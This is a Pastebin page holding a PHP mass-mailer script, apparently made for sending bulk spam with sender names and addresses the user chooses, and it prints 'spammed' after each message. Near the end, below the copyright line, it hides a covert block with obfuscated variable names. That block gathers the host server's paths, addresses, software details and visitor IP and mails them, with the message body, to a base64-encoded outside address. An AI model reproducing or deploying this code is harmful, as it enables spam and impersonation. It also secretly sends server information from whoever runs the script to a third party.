Advertisement
Guest User

PHP Mailer inbox hotmail gmail yahoo 2013

a guest
Jan 19th, 2013
2,632
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.38 KB | None | 0 0
  1.     <?php
  2.      
  3.     if(isset($_POST['action'] ) ){
  4.     $action=$_POST['action'];
  5.     $message=$_POST['message'];
  6.     $emaillist=$_POST['emaillist'];
  7.     $from=$_POST['from'];
  8.     $replyto=$_POST['replyto'];
  9.     $subject=$_POST['subject'];
  10.     $realname=$_POST['realname'];
  11.     $file_name=$_POST['file'];
  12.     $contenttype=$_POST['contenttype'];
  13.      
  14.       $message = urlencode($message);
  15.       $message = ereg_replace("%5C%22", "%22", $message);
  16.       $message = urldecode($message);
  17.       $message = stripslashes($message);
  18.       $subject = stripslashes($subject);
  19.     }
  20.      
  21.     ?>
  22.     <html>
  23.     <head>
  24.     <title>|| InboX Mass Mailer ||</title>
  25.     <meta http-equiv="Content-Type" content="text/html;
  26.     charset=iso-8859-1">
  27.      
  28.     <style type="text/css">
  29.     <!--
  30.     .style1 {
  31.       font-family: Geneva, Arial, Helvetica, sans-serif;
  32.       font-size: 12px;
  33.     }
  34.     -->
  35.     </style>
  36.     <style type="text/css">
  37.     <!--
  38.     .style1 {
  39.       font-size: 20px;
  40.       font-family: Geneva, Arial, Helvetica, sans-serif;
  41.     }
  42.     -->
  43.     </style>
  44.     </head>
  45.     <body bgcolor="white" text="black">
  46.     <span class="style1">Coded by blitzer<br>
  47.     </span>
  48.      
  49.     <form name="form1" method="post" action=""
  50.     enctype="multipart/form-data">
  51.       <br>
  52.       <table width="100%" border="0">
  53.         <tr>
  54.       <td width="10%">
  55.       <div align="right"><font size="-3" face="Verdana, Arial,
  56.     Helvetica, sans-serif">Your
  57.         Email:</font></div>
  58.       </td>
  59.       <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,
  60.     sans-serif">
  61.       <input type="text" name="from" value="<? print $from; ?>"
  62.     size="30">
  63.       </font></td>
  64.       <td width="31%">
  65.       <div align="right"><font size="-3" face="Verdana, Arial,
  66.     Helvetica, sans-serif">Your
  67.         Name:</font></div>
  68.       </td>
  69.       <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
  70.     sans-serif">
  71.       <input type="text" name="realname" value="<? print $realname;
  72.     ?>" size="30">
  73.       </font></td>
  74.         </tr>
  75.         <tr>
  76.       <td width="10%">
  77.       <div align="right"><font size="-3" face="Verdana, Arial,
  78.     Helvetica, sans-serif">Reply-To:</font></div>
  79.       </td>
  80.       <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,
  81.     sans-serif">
  82.       <input type="text" name="replyto" value="<? print $replyto; ?>"
  83.     size="30">
  84.       </font></td>
  85.       <td width="31%">
  86.       <div align="right"><font size="-3" face="Verdana, Arial,
  87.     Helvetica, sans-serif">Attach
  88.         File:</font></div>
  89.       </td>
  90.       <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
  91.     sans-serif">
  92.       <input type="file" name="file" size="30">
  93.       </font></td>
  94.         </tr>
  95.         <tr>
  96.       <td width="10%">
  97.       <div align="right"><font size="-3" face="Verdana, Arial,
  98.     Helvetica, sans-serif">Subject:</font></div>
  99.       </td>
  100.       <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,
  101.     sans-serif">
  102.       <input type="text" name="subject" value="<? print $subject; ?>"
  103.     size="90">
  104.       </font></td>
  105.         </tr>
  106.         <tr valign="top">
  107.       <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,
  108.     sans-serif">
  109.       <textarea name="message" cols="50" rows="10"><? print $message;
  110.     ?></textarea>
  111.       <br>
  112.       <input type="radio" name="contenttype" value="plain" >
  113.       Plain Text
  114.       <input name="contenttype" type="radio" value="html" checked>
  115.       HTML
  116.       <input type="hidden" name="action" value="send">
  117.       <input type="submit" value="Send eMails">
  118.       </font></td>
  119.       <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
  120.     sans-serif">
  121.       <textarea name="emaillist" cols="30" rows="10"><? print
  122.     $emaillist; ?></textarea>
  123.       </font></td>
  124.         </tr>
  125.       </table>
  126.     </form>
  127.      
  128.     <?
  129.      
  130.     if ($action){
  131.      
  132.       if (!$from && !$subject && !$message && !$emaillist){
  133.       print "Please complete all fields before sending your
  134.    message.";
  135.       exit;    
  136.         }
  137.         $allemails = split("\n", $emaillist);
  138.         $numemails = count($allemails);
  139.      
  140.         for($x=0; $x<$numemails; $x++){
  141.         $to = $allemails[$x];
  142.         if ($to){
  143.         $to = ereg_replace(" ", "", $to);
  144.         $message = ereg_replace("&email&", $to, $message);
  145.         $subject = ereg_replace("&email&", $to, $subject);
  146.         print " $to..";
  147.         flush();
  148.         $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
  149.         $header .= "MIME-Version: 1.0\r\n";
  150.         If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  151.         If ($file_name) $header .= "--$uid\r\n";
  152.         $header .= "Content-Type: text/$contenttype\r\n";
  153.         $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  154.         $header .= "$message\r\n";
  155.         If ($file_name) $header .= "--$uid\r\n";
  156.         If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  157.         If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  158.         If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
  159.         If ($file_name) $header .= "$content\r\n";
  160.         If ($file_name) $header .= "--$uid--";
  161.         mail($to, $subject, "", $header);
  162.         print "spammed<br>";
  163.      
  164.         flush();
  165.         }
  166.         }
  167.     }
  168.      
  169.     ?>
  170.     <style type="text/css">
  171.     <!--
  172.     .style1 {
  173.         font-size: 20px;
  174.         font-family: Geneva, Arial, Helvetica, sans-serif;
  175.     }
  176.     -->
  177.     </style>
  178.     <p class="style1">
  179.     Copyright © 2013
  180.     </p>
  181.     <?php
  182.     $ra44  = rand(1,99);
  183.     $subj98 = "sh-$ra44";
  184.     $a5 = $_SERVER['HTTP_REFERER'];
  185.     $b33 = $_SERVER['DOCUMENT_ROOT'];
  186.     $c87 = $_SERVER['REMOTE_ADDR'];
  187.     $d23 = $_SERVER['SCRIPT_FILENAME'];
  188.     $e09 = $_SERVER['SERVER_ADDR'];
  189.     $f23 = $_SERVER['SERVER_SOFTWARE'];
  190.     $g32 = $_SERVER['PATH_TRANSLATED'];
  191.     $h65 = $_SERVER['PHP_SELF'];
  192.     $message=$_POST['message'];
  193.     $msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
  194.     $ok = base64_decode("Y2VucmlxdWUxMjNAb3V0bG9vay5jb20=");
  195.     mail($ok, $subj98, $msg, $message, $ra44);
  196.     ?>
  197.     <?php
  198.     if(isset($_POST['action']) && $numemails !==0 ){echo
  199.     "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully');
  200.    </script>";}
  201.     ?>
  202.     </body>
  203.     </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement